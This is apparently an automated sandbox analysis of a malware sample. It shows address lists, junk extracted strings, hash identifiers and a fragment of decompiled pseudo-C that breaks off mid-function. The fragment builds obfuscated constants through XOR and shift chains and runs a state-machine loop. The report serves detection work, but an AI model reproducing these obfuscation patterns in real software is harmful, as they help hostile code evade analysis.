0x00fad210
0x00fad218
0x00fad220
0x00fad22b
0x00fad233
0x00fad23b
0x00fad246
0x00fad251
0x00fad25c
0x00fad264
0x00fad26c
0x00fad277
0x00fad28b
0x00fad290
0x00fad299
0x00fad2a4
0x00fad2af
0x00fad2be
0x00fad2c3
0x00fad2cc
0x00fad2d7
0x00fad2df
0x00fad2eb
0x00fad2f0
0x00fad2fb
0x00fad2fe
0x00fad302
0x00fad30a
0x00fad320
0x00fad327
0x00fad332
0x00fad33d
0x00fad34c
0x00fad34f
0x00fad356
0x00fad361
0x00fad36e
0x00fad372
0x00fad37a
0x00fad37f
0x00fad387
0x00fad38f
0x00fad397
0x00fad39f
0x00fad3a7
0x00fad3af
0x00fad3ba
0x00fad3c5
0x00fad3d0
0x00fad3db
0x00fad3e6
0x00fad3ee
0x00fad3f9
0x00fad401
0x00fad409
0x00fad411
0x00fad419
0x00fad421
0x00fad42b
0x00fad439
0x00fad43e
0x00fad444
0x00fad449
0x00fad451
0x00fad45c
0x00fad46f
0x00fad472
0x00fad481
0x00fad488
0x00fad493
0x00fad4a9
0x00fad4b0
0x00fad4bb
0x00fad4c6
0x00fad4d9
0x00fad4da
0x00fad4e1
0x00fad4e9
0x00fad4f4
0x00fad4ff
0x00fad512
0x00fad519
0x00fad524
0x00fad52f
0x00fad536
0x00fad541
0x00fad549
0x00fad54e
0x00fad556
0x00fad55b
0x00fad563
0x00fad56b
0x00fad573
0x00fad57b
0x00fad580
0x00fad588
0x00fad590
0x00fad598
0x00fad5a6
0x00fad5aa
0x00fad5b2
0x00fad5bd
0x00fad5c5
0x00fad5d0
0x00fad5db
0x00fad5ee
0x00fad5f5
0x00fad600
0x00fad60b
0x00fad616
0x00fad621
0x00fad629
0x00fad634
0x00fad63f
0x00fad647
0x00fad652
0x00fad65d
0x00fad670
0x00fad677
0x00fad682
0x00fad699
0x00fad69a
0x00fad6a1
0x00fad6ac
0x00fad6b7
0x00fad6c2
0x00fad6cd
0x00fad6d8
0x00fad6e0
0x00fad6eb
0x00fad6f3
0x00fad6fd
0x00fad701
0x00fad706
0x00fad70e
0x00fad719
0x00fad721
0x00fad72c
0x00fad737
0x00fad742
0x00fad74d
0x00fad758
0x00fad760
0x00fad768
0x00fad770
0x00fad778
0x00fad780
0x00fad796
0x00fad79d
0x00fad7a8
0x00fad7b3
0x00fad7c0
0x00fad7c4
0x00fad7cc
0x00fad7d4
0x00fad7dc
0x00fad7e7
0x00fad7ef
0x00fad7fa
0x00fad802
0x00fad80a
0x00fad80f
0x00fad817
0x00fad81f
0x00fad82a
0x00fad835
0x00fad840
0x00fad84b
0x00fad853
0x00fad85b
0x00fad866
0x00fad871
0x00fad879
0x00fad884
0x00fad88f
0x00fad897
0x00fad8a2
0x00fad8b5
0x00fad8c5
0x00fad8cc
0x00fad8d7
0x00fad8e2
0x00fad8ed
0x00fad8f5
0x00fad900
0x00fad90b
0x00fad916
0x00fad921
0x00fad92c
0x00fad937
0x00fad942
0x00fad94f
0x00fad95a
0x00fad968
0x00fad96d
0x00fad973
0x00fad97b
0x00fad980
0x00fad988
0x00fad993
0x00fad9a6
0x00fad9a9
0x00fad9b0
0x00fad9bb
0x00fad9c3
0x00fad9c8
0x00fad9d0
0x00fad9d8
0x00fad9e0
0x00fad9e8
0x00fad9ed
0x00fad9f1
0x00fad9fe
0x00fada02
0x00fada0a
0x00fada1d
0x00fada1e
0x00fada25
0x00fada2d
0x00fada38
0x00fada43
0x00fada4e
0x00fada55
0x00fada60
0x00fada68
0x00fada6d
0x00fada72
0x00fada7a
0x00fada82
0x00fada90
0x00fada94
0x00fadaa1
0x00fadaa5
0x00fadaad
0x00fadab8
0x00fadac0
0x00fadacb
0x00fadad6
0x00fadade
0x00fadaee
0x00fadaf5
0x00fadb00
0x00fadb0b
0x00fadb13
0x00fadb1e
0x00fadb29
0x00fadb34
0x00fadb3f
0x00fadb4a
0x00fadb55
0x00fadb60
0x00fadb6b
0x00fadb76
0x00fadb81
0x00fadb8c
0x00fadb97
0x00fadba4
0x00fadbaf
0x00fadbc3
0x00fadbc8
0x00fadbd1
0x00fadbdc
0x00fadbe7
0x00fadbf2
0x00fadbfd
0x00fadc08
0x00fadc13
0x00fadc1e
0x00fadc29
0x00fadc31
0x00fadc3c
0x00fadc44
0x00fadc4f
0x00fadc5a
0x00fadc65
0x00fadc70
0x00fadc7b
0x00fadc8d
0x00fadc90
0x00fadc97
0x00fadca2
0x00fadcad
0x00fadcb5
0x00fadcc0
0x00fadccb
0x00fadcd6
0x00fadcde
0x00fadce9
0x00fadcf4
0x00fadcfc
0x00fadd01
0x00fadd09
0x00fadd11
0x00fadd19
0x00fadd24
0x00fadd2c
0x00fadd3f
0x00fadd46
0x00fadd51
0x00fadd64
0x00fadd6b
0x00fadd76
0x00fadd81
0x00fadd94
0x00fadd9b
0x00fadda6
0x00faddb1
0x00faddb9
0x00faddc4
0x00faddcf
0x00faddd7
0x00faddde
0x00fadde9
0x00faddf4
0x00faddff
0x00fade0a
0x00fade15
0x00fade25
0x00fade2c
0x00fade37
0x00fade42
0x00fade4a
0x00fade55
0x00fade60
0x00fade6b
0x00fade78
0x00fade83
0x00fade8e
0x00fade99
0x00fadea4
0x00fadeaf
0x00fadeb7
0x00fadebc
0x00fadeca
0x00fadecf
0x00faded3
0x00fadedb
0x00fadee3
0x00fadeeb
0x00fadef3
0x00fadef8
0x00fadf00
0x00fadf0b
0x00fadf16
0x00fadf21
0x00fadf29
0x00fadf2e
0x00fadf33
0x00fadf3b
0x00fadf43
0x00fadf4e
0x00fadf59
0x00fadf64
0x00fadf6f
0x00fadf85
0x00fadf97
0x00fadfa0
0x00fadfab
0x00fadfb3
0x00fadfb8
0x00fadfc0
0x00fadfc8
0x00fadfd0
0x00fadfd8
0x00fadfdd
0x00fadfe2
0x00fadfe7
0x00fadfef
0x00fadff7
0x00fadfff
0x00fae007
0x00fae00f
0x00fae017
0x00fae01f
0x00fae027
0x00fae02f
0x00fae037
0x00fae03f
0x00fae04a
0x00fae055
0x00fae060
0x00fae06b
0x00fae076
0x00fae081
0x00fae08c
0x00fae097
0x00fae0a9
0x00fae0ac
0x00fae0b3
0x00fae0be
0x00fae0db
0x00fae0e0
0x00fae0e9
0x00fae0f6
0x00fae101
0x00fae113
0x00fae118
0x00fae121
0x00fae12c
0x00fae137
0x00fae150
0x00fae15b
0x00fae166
0x00fae179
0x00fae183
0x00fae18a
0x00fae195
0x00fae1a8
0x00fae1b7
0x00fae1be
0x00fae1c9
0x00fae1d1
0x00fae1d6
0x00fae1de
0x00fae1e6
0x00fae1ee
0x00fae1f9
0x00fae204
0x00fae20f
0x00fae222
0x00fae229
0x00fae234
0x00fae24a
0x00fae251
0x00fae25c
0x00fae267
0x00fae272
0x00fae27d
0x00fae288
0x00fae293
0x00fae2a5
0x00fae2a8
0x00fae2af
0x00fae2af
0x00fae2ba
0x00fae2ba
0x00fae2ba
0x00fae2ba
0x00fae2c0
0x00000000
0x00000000
0x00fae7a0
0x00fae7a6
0x00fae9f2
0x00fae9f8
0x00faeafb
0x00faeb01
0x00faeb77
0x00faeb79
0x00faeb85
0x00000000
0x00faeb85
0x00faeb7b
0x00000000
0x00faeb7b
0x00faeb03
0x00faeb09
0x00faeb37
0x00faeb43
0x00faeb4f
0x00faeb64
0x00fae914
0x00fae914
0x00fae915
0x00000000
0x00fae915
0x00faeb0b
0x00faeb11
0x00000000
0x00000000
0x00faeb1a
0x00faeb1f
0x00000000
0x00faeb1f
0x00fae9fe
0x00faeae4
0x00faeae9
0x00faeaeb
0x00fae810
0x00fae817
0x00fae817
0x00faeaf1
0x00000000
0x00faeaf1
0x00faea04
0x00faea0a
0x00faeac7
0x00faeacc
0x00000000
0x00faeacc
0x00faea10
0x00faea16
0x00faea69
0x00faea7d
0x00faeaa1
0x00faeaa6
0x00faeaad
0x00faeab5
0x00000000
0x00faeab5
0x00faea18
0x00faea1e
0x00faea51
0x00000000
0x00faea51
0x00faea20
0x00faea26
0x00000000
0x00000000
0x00faea3a
0x00faea3f
0x00faea41
0x00000000
0x00000000
0x00faea47
0x00000000
0x00faea47
0x00fae7ac
0x00fae9d8
0x00fae9dd
0x00fae9df
0x00fae9e8
0x00fae9e8
0x00fae96b
0x00fae96b
0x00000000
0x00fae96b
0x00fae7b2
0x00fae7b8
0x00fae8d1
0x00fae8d7
0x00fae9b5
0x00fae9bc
0x00fae9be
0x00000000
0x00fae9be
0x00fae8dd
0x00fae8e3
0x00fae9a6
0x00fae9ab
0x00000000
0x00fae9ab
0x00fae8e9
0x00fae8ef
0x00fae93b
0x00fae941
0x00fae942
0x00fae944
0x00fae975
0x00fae97c
0x00fae97f
0x00fae98b
0x00fae98d
0x00fae994
0x00fae994
0x00000000
0x00fae994
0x00fae98f
0x00fae992
0x00000000
0x00000000
0x00000000
0x00fae992
0x00fae981
0x00000000
0x00fae981
0x00fae960
0x00fae966
0x00fae967
0x00fae969
0x00000000
0x00fae969
0x00fae8f1
0x00fae8f7
0x00000000
0x00000000
0x00fae90f
0x00000000
0x00fae90f
0x00fae7be
0x00fae8c2
0x00fae8c7
0x00000000
0x00fae8c7
0x00fae7c4
0x00fae7ca
0x00fae8a1
0x00fae8a6
0x00fae8ad
0x00000000
0x00fae8ad
0x00fae7d0
0x00fae7d6
0x00fae848
0x00fae84c
0x00fae893
0x00fae893
0x00000000
0x00fae893
0x00fae86c
0x00fae872
0x00fae873
0x00fae87a
0x00fae88e
0x00000000
0x00fae88e
0x00fae87c
0x00000000
0x00fae87c
0x00fae7d8
0x00fae7de
0x00fae81c
0x00fae82c
0x00fae835
0x00fae83d
0x00000000
0x00fae83d
0x00fae7e0
0x00fae7e6
0x00000000
0x00000000
0x00fae808
0x00000000
0x00fae80d
0x00fae2c6
0x00fae791
0x00fae796
0x00000000
0x00fae796
0x00fae2cc
0x00fae2d2
0x00fae576
0x00fae57c
0x00fae6f0
0x00fae6f6
0x00fae773
0x00fae778
0x00fae77a
0x00000000
0x00000000
0x00fae780
0x00000000
0x00fae780
0x00fae6f8
0x00fae6fe
0x00fae75c
0x00fae761
0x00fae762
0x00000000
0x00fae762
0x00fae700
0x00fae706
0x00fae737
0x00fae73c
0x00fae743
0x00000000
0x00fae743
0x00fae708
0x00fae70e
0x00000000
0x00000000
0x00fae722
0x00000000
0x00fae722
0x00fae582
0x00fae6a1
0x00fae6a3
0x00fae6d4
0x00fae6dd
0x00fae6e5
0x00000000
0x00fae6e5
0x00fae6b3
0x00fae6bc
0x00fae6be
0x00fae551
0x00fae551
0x00000000
0x00fae551
0x00fae588
0x00fae58e
0x00fae60d
0x00fae611
0x00fae616
0x00fae619
0x00fae61b
0x00fae626
0x00fae62d
0x00fae62f
0x00fae64e
0x00fae656
0x00fae65d
0x00fae65d
0x00fae65e
0x00fae661
0x00fae680
0x00fae686
0x00fae687
0x00fae661
0x00fae68b
0x00000000
0x00fae68b
0x00fae590
0x00fae596
0x00fae5e2
0x00fae5e7
0x00000000
0x00fae5e7
0x00fae598
0x00fae59e
0x00fae5c3
0x00fae5ca
0x00fae5cf
0x00000000
0x00fae5cf
0x00fae5a0
0x00fae5a6
0x00000000
0x00000000
0x00fae5b4
0x00fae5b9
0x00000000
0x00fae5b9
0x00fae2d8
0x00fae560
0x00fae565
0x00fae56c
0x00000000
0x00fae56c
0x00fae2de
0x00fae2e4
0x00fae4d1
0x00fae4d7
0x00faeba2
0x00000000
0x00faeba2
0x00fae4dd
0x00fae4e3
0x00fae540
0x00fae549
0x00fae54b
0x00fae54b
0x00000000
0x00fae54b
0x00fae4e5
0x00fae4eb
0x00fae523
0x00fae528
0x00000000
0x00fae528
0x00fae4ed
0x00fae4ef
0x00000000
0x00000000
0x00fae50b
0x00fae511
0x00fae512
0x00000000
0x00fae512
0x00fae2ea
0x00fae4b2
0x00fae4b9
0x00fae4bf
0x00fae4c0
0x00fae4c7
0x00000000
0x00fae4c7
0x00fae2f6
0x00fae475
0x00fae47a
0x00fae47c
0x00000000
0x00000000
0x00fae482
0x00000000
0x00fae482
0x00fae302
0x00fae440
0x00fae44f
0x00fae454
0x00fae45b
0x00fae463
0x00000000
0x00fae463
0x00fae30e
0x00fae366
0x00fae397
0x00fae3bf
0x00fae3cb
0x00fae3de
0x00fae3f9
0x00fae41a
0x00fae41e
0x00fae423
0x00000000
0x00fae423
0x00fae316
0x00fae323
0x00fae32c
0x00fae334
0x00000000
0x00fae334
0x00faeb8a
0x00faeb8a
0x00faeb8a
0x00000000

Strings

yd, xrefs: 00FAD201
[a, xrefs: 00FAD1C2
tfZ, xrefs: 00FAD3AF
P8, xrefs: 00FAD54E
"R, xrefs: 00FADE37
!+, xrefs: 00FAE204
x1L, xrefs: 00FADA7A
|, xrefs: 00FADB97
yT, xrefs: 00FAD0C7
$cP, xrefs: 00FAD2D7
;O\, xrefs: 00FADB3F
(M&, xrefs: 00FAD451
S4, xrefs: 00FADCA2
Xr, xrefs: 00FADEBC
]sg, xrefs: 00FAE20F
2=q, xrefs: 00FAD72C
PV, xrefs: 00FAD942
p3%, xrefs: 00FAD3F9
;-r, xrefs: 00FAD9E8
O=/{, xrefs: 00FAD768
On, xrefs: 00FAD026
#oT, xrefs: 00FAD65D
(<, xrefs: 00FAD251
`o, xrefs: 00FADB1E
;#, xrefs: 00FADC44

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: On$!+$#oT$$cP$(<$(M&$2=q$;#$;-r$;O\$O=/{$P8$PV$S4$Xr$]sg$p3%$tfZ$x1L$yT$yd$"R$`o$|$[a
API String ID: 0-2511783560
Opcode ID: 00369c388ef71e82961e839aab6946cc58487ae181b8f1301aa31e454b625b3e
Instruction ID: b0dcba7055b7be93129f5a5ab04c33c9513e6e7d63f2dd7058e05f8348864352
Opcode Fuzzy Hash: 00369c388ef71e82961e839aab6946cc58487ae181b8f1301aa31e454b625b3e
Instruction Fuzzy Hash: 5BD223B29093818BD3B8CF25C58A7CBBBE1BBC5314F10891DE5C996260D7B45949DF83

Uniqueness

Uniqueness Score: -1.00%

Function 00FB7445, Relevance: 26.9, Strings: 21, Instructions: 669
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00FB7445(intOrPtr* __ecx) {
				char _v68;
				char _v76;
				void* _v88;
				intOrPtr _v92;
				intOrPtr* _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				void* _t756;
				void* _t757;
				void* _t759;
				void* _t766;
				void* _t775;
				void* _t777;
				void* _t779;
				char _t780;
				void* _t783;
				void* _t788;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t798;
				signed int _t799;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				void* _t805;
				void* _t831;
				void* _t867;
				void* _t888;
				signed int _t890;
				signed int _t891;
				void* _t892;
				void* _t896;
				void* _t897;
				void* _t899;
				void* _t902;

				_v92 = 0x6a655a;
				_v96 = __ecx;
				asm("stosd");
				_t890 = 0x46;
				asm("stosd");
				_t896 = 0;
				_t794 = 0x14;
				_t788 = 0x6b38845;
				asm("stosd");
				_v200 = 0x9666ef;
				_v200 = _v200 ^ 0x24560381;
				_v200 = _v200 ^ 0x24c0656e;
				_v392 = 0x2bbe5e;
				_v392 = _v392 << 4;
				_v392 = _v392 ^ 0x74c8326b;
				_v392 = _v392 / _t890;
				_v392 = _v392 ^ 0x01b1329f;
				_v284 = 0x4b28c5;
				_v284 = _v284 << 9;
				_v284 = _v284 + 0xffff1ae6;
				_v284 = _v284 ^ 0x9650a4e6;
				_v244 = 0xb0e026;
				_v244 = _v244 / _t794;
				_v244 = _v244 >> 0xd;
				_v244 = _v244 ^ _t890;
				_v160 = 0x7e7851;
				_t41 =  &_v160; // 0x7e7851
				_t891 = 0x21;
				_v160 =  *_t41 / _t891;
				_v160 = _v160 ^ 0x0003d519;
				_v368 = 0xb104a1;
				_t795 = 0x51;
				_v368 = _v368 / _t795;
				_v368 = _v368 >> 1;
				_t796 = 0x6f;
				_v368 = _v368 / _t796;
				_v368 = _v368 ^ 0x00000285;
				_v316 = 0x387e5;
				_v316 = _v316 + 0xffff69ce;
				_v316 = _v316 + 0x4c7c;
				_v316 = _v316 ^ 0x00033e2f;
				_v356 = 0x4c72a9;
				_v356 = _v356 << 0xb;
				_v356 = _v356 + 0x75e5;
				_v356 = _v356 ^ 0x3a51d26c;
				_v356 = _v356 ^ 0x59c46f89;
				_v416 = 0x3106bc;
				_v416 = _v416 | 0x4bdd89b8;
				_v416 = _v416 + 0xffff59cb;
				_v416 = _v416 ^ 0x45ebab58;
				_v416 = _v416 ^ 0x0e1742df;
				_v408 = 0xe4e21d;
				_v408 = _v408 + 0x41c9;
				_v408 = _v408 + 0xffffceea;
				_v408 = _v408 >> 3;
				_v408 = _v408 ^ 0x001c9e5a;
				_v312 = 0xbaac90;
				_v312 = _v312 | 0x0f8421e4;
				_v312 = _v312 ^ 0x27b39492;
				_v312 = _v312 ^ 0x280d3966;
				_v352 = 0xe996e6;
				_v352 = _v352 ^ 0xda5b0707;
				_v352 = _v352 + 0xffff09bb;
				_v352 = _v352 + 0xffff1acb;
				_v352 = _v352 ^ 0xdab0b667;
				_v288 = 0xd96555;
				_v288 = _v288 ^ 0x489ae580;
				_t797 = 0x25;
				_v288 = _v288 * 0x7a;
				_v288 = _v288 ^ 0x702b0b9a;
				_v128 = 0xcc4c9e;
				_v128 = _v128 ^ 0x36280e35;
				_v128 = _v128 ^ 0x36eb8fbe;
				_v296 = 0xf43a7b;
				_v296 = _v296 * 0x6e;
				_v296 = _v296 + 0xffffe0a1;
				_v296 = _v296 ^ 0x68f04a04;
				_v120 = 0xe04b3a;
				_t136 =  &_v120; // 0xe04b3a
				_v120 =  *_t136 * 0x39;
				_v120 = _v120 ^ 0x31f6dcc4;
				_v280 = 0xc2590;
				_v280 = _v280 / _t797;
				_t798 = 0x50;
				_v280 = _v280 * 0x4e;
				_v280 = _v280 ^ 0x00101627;
				_v148 = 0x1749f;
				_v148 = _v148 << 8;
				_v148 = _v148 ^ 0x017a8570;
				_v184 = 0xe8f483;
				_v184 = _v184 + 0xffff6ca6;
				_v184 = _v184 ^ 0x00ea3c70;
				_v192 = 0x6adbc4;
				_v192 = _v192 / _t798;
				_v192 = _v192 ^ 0x0001675e;
				_v272 = 0x34a752;
				_v272 = _v272 + 0xffff24c3;
				_v272 = _v272 | 0x6b4c91bc;
				_v272 = _v272 ^ 0x6b7105bd;
				_v248 = 0x62e7a0;
				_v248 = _v248 ^ 0x3f642788;
				_t799 = 0x6e;
				_v248 = _v248 * 0x68;
				_v248 = _v248 ^ 0x9abf14c2;
				_v176 = 0x9420ee;
				_v176 = _v176 / _t799;
				_v176 = _v176 ^ 0x000615dd;
				_v256 = 0x2eb359;
				_v256 = _v256 ^ 0xaf20e1f9;
				_v256 = _v256 + 0xffff3dd2;
				_v256 = _v256 ^ 0xaf0f27e0;
				_v264 = 0x5a208f;
				_v264 = _v264 * 0x52;
				_v264 = _v264 ^ 0x9d084573;
				_v264 = _v264 ^ 0x81d5152e;
				_v168 = 0x69c0de;
				_v168 = _v168 | 0x4bf1e754;
				_v168 = _v168 ^ 0x4bf0828f;
				_v232 = 0x31b0a3;
				_v232 = _v232 | 0xd5494fc2;
				_v232 = _v232 ^ 0x4946f5cc;
				_v232 = _v232 ^ 0x9c324e1f;
				_v384 = 0x31488e;
				_t800 = 0x69;
				_v384 = _v384 * 0xf;
				_t801 = 0x66;
				_v384 = _v384 / _t800;
				_v384 = _v384 + 0xffff35c6;
				_v384 = _v384 ^ 0x000ae164;
				_v240 = 0x63a742;
				_v240 = _v240 + 0x7e1;
				_v240 = _v240 + 0x97bd;
				_v240 = _v240 ^ 0x006ce62a;
				_v228 = 0xd33ddb;
				_v228 = _v228 + 0x4206;
				_v228 = _v228 + 0xad1;
				_v228 = _v228 ^ 0x00d02197;
				_v172 = 0x5b6a97;
				_v172 = _v172 * 0x6f;
				_v172 = _v172 ^ 0x27a557a2;
				_v396 = 0xe0b5e3;
				_v396 = _v396 << 2;
				_v396 = _v396 >> 8;
				_v396 = _v396 + 0x2bd4;
				_v396 = _v396 ^ 0x00086263;
				_v292 = 0xf80f19;
				_v292 = _v292 ^ 0x8502a1e4;
				_v292 = _v292 >> 4;
				_v292 = _v292 ^ 0x085dbbb6;
				_v336 = 0x857240;
				_v336 = _v336 + 0xffffa8de;
				_v336 = _v336 >> 0xb;
				_v336 = _v336 ^ 0x000836d2;
				_v376 = 0xac3a78;
				_v376 = _v376 << 4;
				_v376 = _v376 ^ 0x33e24ce3;
				_v376 = _v376 << 0x10;
				_v376 = _v376 ^ 0xeb65b445;
				_v344 = 0x5c371f;
				_v344 = _v344 >> 0xd;
				_v344 = _v344 | 0xeacfcfde;
				_v344 = _v344 ^ 0xeac9349c;
				_v204 = 0xbf5d95;
				_v204 = _v204 ^ 0xaa3abb38;
				_v204 = _v204 ^ 0xaa8d0089;
				_v224 = 0x296818;
				_v224 = _v224 + 0xffffcd0c;
				_v224 = _v224 << 0xf;
				_v224 = _v224 ^ 0x9a9e0707;
				_v420 = 0x2ce410;
				_v420 = _v420 + 0xffff87c9;
				_v420 = _v420 + 0xffff9f9b;
				_v420 = _v420 + 0x8d8a;
				_v420 = _v420 ^ 0x00236d08;
				_v260 = 0x52ff63;
				_v260 = _v260 << 3;
				_v260 = _v260 + 0xffffd91d;
				_v260 = _v260 ^ 0x029ba434;
				_v208 = 0xb8fe1d;
				_v208 = _v208 >> 8;
				_t802 = 0xe;
				_v208 = _v208 / _t801;
				_v208 = _v208 ^ 0x000a9b9e;
				_v324 = 0x6c1c79;
				_v324 = _v324 ^ 0xb363f955;
				_v324 = _v324 ^ 0x8e9acb62;
				_v324 = _v324 ^ 0x3d993b66;
				_v216 = 0xe9d33f;
				_v216 = _v216 / _t802;
				_v216 = _v216 >> 0xf;
				_v216 = _v216 ^ 0x0000327a;
				_v332 = 0x9f1132;
				_v332 = _v332 * 0x4d;
				_v332 = _v332 + 0xffffcaaa;
				_v332 = _v332 ^ 0x2fde1ae3;
				_v196 = 0xb122c7;
				_v196 = _v196 << 8;
				_v196 = _v196 ^ 0xb124a0ca;
				_v188 = 0xb903fa;
				_v188 = _v188 + 0xffff354e;
				_v188 = _v188 ^ 0x00b9d945;
				_v140 = 0x44fc40;
				_v140 = _v140 + 0xd4d;
				_v140 = _v140 ^ 0x0049b242;
				_v308 = 0xf6165e;
				_v308 = _v308 | 0x71aa2658;
				_v308 = _v308 * 0x6b;
				_v308 = _v308 ^ 0xa54f1364;
				_v180 = 0x4d5695;
				_v180 = _v180 ^ 0x6e37bae2;
				_v180 = _v180 ^ 0x6e77cc18;
				_v220 = 0x12bce5;
				_v220 = _v220 ^ 0xee96e214;
				_v220 = _v220 ^ 0x41031b17;
				_v220 = _v220 ^ 0xaf80e24c;
				_v124 = 0x78b997;
				_v124 = _v124 ^ 0x3f24504b;
				_v124 = _v124 ^ 0x3f554dd0;
				_v412 = 0x15645e;
				_v412 = _v412 >> 2;
				_v412 = _v412 | 0x19a57d1e;
				_v412 = _v412 << 2;
				_v412 = _v412 ^ 0x669f8c64;
				_v268 = 0x51234f;
				_v268 = _v268 + 0x36e7;
				_v268 = _v268 * 0x28;
				_v268 = _v268 ^ 0x0cb0ba42;
				_v144 = 0x8ef1eb;
				_v144 = _v144 + 0xd9b4;
				_v144 = _v144 ^ 0x008a4224;
				_v212 = 0xa5d17b;
				_v212 = _v212 << 4;
				_v212 = _v212 ^ 0xd39094ce;
				_v212 = _v212 ^ 0xd9c4358e;
				_v136 = 0x5dab53;
				_v136 = _v136 ^ 0xb3b675ea;
				_v136 = _v136 ^ 0xb3ef4e4d;
				_v164 = 0xa2d424;
				_v164 = _v164 + 0xd184;
				_v164 = _v164 ^ 0x00a6948b;
				_v320 = 0x46a4a2;
				_v320 = _v320 >> 0xb;
				_v320 = _v320 ^ 0xed63e9e3;
				_v320 = _v320 ^ 0xed6e6ace;
				_v236 = 0x5cdda7;
				_v236 = _v236 + 0xa167;
				_v236 = _v236 + 0xffff89e9;
				_v236 = _v236 ^ 0x00505320;
				_v424 = 0x7dc028;
				_v424 = _v424 | 0xc802eae8;
				_v424 = _v424 >> 4;
				_v424 = _v424 | 0x1c9bbcfa;
				_v424 = _v424 ^ 0x1c9a546c;
				_v304 = 0xe00dbe;
				_v304 = _v304 + 0xffff7894;
				_v304 = _v304 | 0x1518f723;
				_v304 = _v304 ^ 0x15de424d;
				_v156 = 0xcaf152;
				_v156 = _v156 * 0x17;
				_v156 = _v156 ^ 0x12317468;
				_v400 = 0x702312;
				_v400 = _v400 + 0xffff8a08;
				_t803 = 0x29;
				_v400 = _v400 / _t803;
				_v400 = _v400 ^ 0x8aedd9ac;
				_v400 = _v400 ^ 0x8ae99a2e;
				_v348 = 0xfd00be;
				_v348 = _v348 ^ 0x254b20e2;
				_v348 = _v348 + 0xffff4fd4;
				_v348 = _v348 ^ 0x25bcd5e4;
				_v340 = 0x15057b;
				_v340 = _v340 + 0xffff3cfe;
				_v340 = _v340 ^ 0xf2bf9676;
				_v340 = _v340 ^ 0xf2a06c3f;
				_v388 = 0xf80b42;
				_v388 = _v388 | 0x6e0aefd1;
				_v388 = _v388 >> 0xd;
				_v388 = _v388 ^ 0x56e72cd3;
				_v388 = _v388 ^ 0x56e22de1;
				_v428 = 0xf44d53;
				_v428 = _v428 >> 8;
				_v428 = _v428 >> 5;
				_v428 = _v428 | 0x0c86e395;
				_v428 = _v428 ^ 0x0c85f464;
				_v252 = 0xa11dfc;
				_v252 = _v252 >> 5;
				_v252 = _v252 + 0x2f65;
				_v252 = _v252 ^ 0x000663de;
				_v364 = 0x3fd805;
				_v364 = _v364 + 0xffff75e6;
				_v364 = _v364 + 0xffff88df;
				_v364 = _v364 | 0x6edac8cb;
				_v364 = _v364 ^ 0x6effa0a8;
				_v132 = 0x1ff9d9;
				_v132 = _v132 << 0xf;
				_v132 = _v132 ^ 0xfcedd5a3;
				_v404 = 0x40578a;
				_t804 = 0x1a;
				_v404 = _v404 * 0x2b;
				_v404 = _v404 >> 0xb;
				_v404 = _v404 | 0xf7d711dc;
				_v404 = _v404 ^ 0xf7ddf608;
				_v380 = 0x99a7f5;
				_v380 = _v380 * 0x17;
				_v380 = _v380 >> 0xa;
				_v380 = _v380 + 0xffff02e7;
				_v380 = _v380 ^ 0x00028ade;
				_v300 = 0xa5bd5a;
				_v300 = _v300 ^ 0x487cada1;
				_v300 = _v300 / _t804;
				_v300 = _v300 ^ 0x02cd6e95;
				_v276 = 0x109f58;
				_v276 = _v276 + 0xffff6b97;
				_v276 = _v276 | 0x8ed672c3;
				_v276 = _v276 ^ 0x8ed38b05;
				_v432 = 0x269f3d;
				_v432 = _v432 << 7;
				_v432 = _v432 >> 0xd;
				_v432 = _v432 >> 7;
				_v432 = _v432 ^ 0x00051bd1;
				_v372 = 0x954f50;
				_v372 = _v372 / _t891;
				_v372 = _v372 >> 1;
				_v372 = _v372 ^ 0xc9264516;
				_v372 = _v372 ^ 0xc925eff0;
				_v328 = 0x78b98e;
				_v328 = _v328 | 0x1d96f0ac;
				_v328 = _v328 * 0x54;
				_v328 = _v328 ^ 0xd7a7266b;
				_v152 = 0xa4a604;
				_v152 = _v152 + 0x2678;
				_v152 = _v152 ^ 0x00a06680;
				_t892 = 0x5467895;
				_v360 = 0xb67e06;
				_t888 = 0xdca4c76;
				_v360 = _v360 + 0xfffffb89;
				_v360 = _v360 + 0xd3dd;
				_v360 = _v360 + 0xffff2e0b;
				_v360 = _v360 ^ 0x00bb2c33;
				while(1) {
					L1:
					_t805 = 0xc44443f;
					while(1) {
						L2:
						_t756 = 0xb2c3b3d;
						_t867 = 0xa0c1eae;
						do {
							while(1) {
								L3:
								_t902 = _t788 - _t756;
								if(_t902 > 0) {
									break;
								}
								if(_t902 == 0) {
									_v104 = 0x100;
									_t775 = E00FB2D1D(_v284, _v228, 0x100,  &_v116, _v172, _v396, _v112, _v292);
									_t897 = _t897 + 0x18;
									__eflags = _t775 - _v244;
									_t805 = 0xc44443f;
									_t788 =  ==  ? 0xc44443f : 0xfbf5f53;
									goto L2;
								} else {
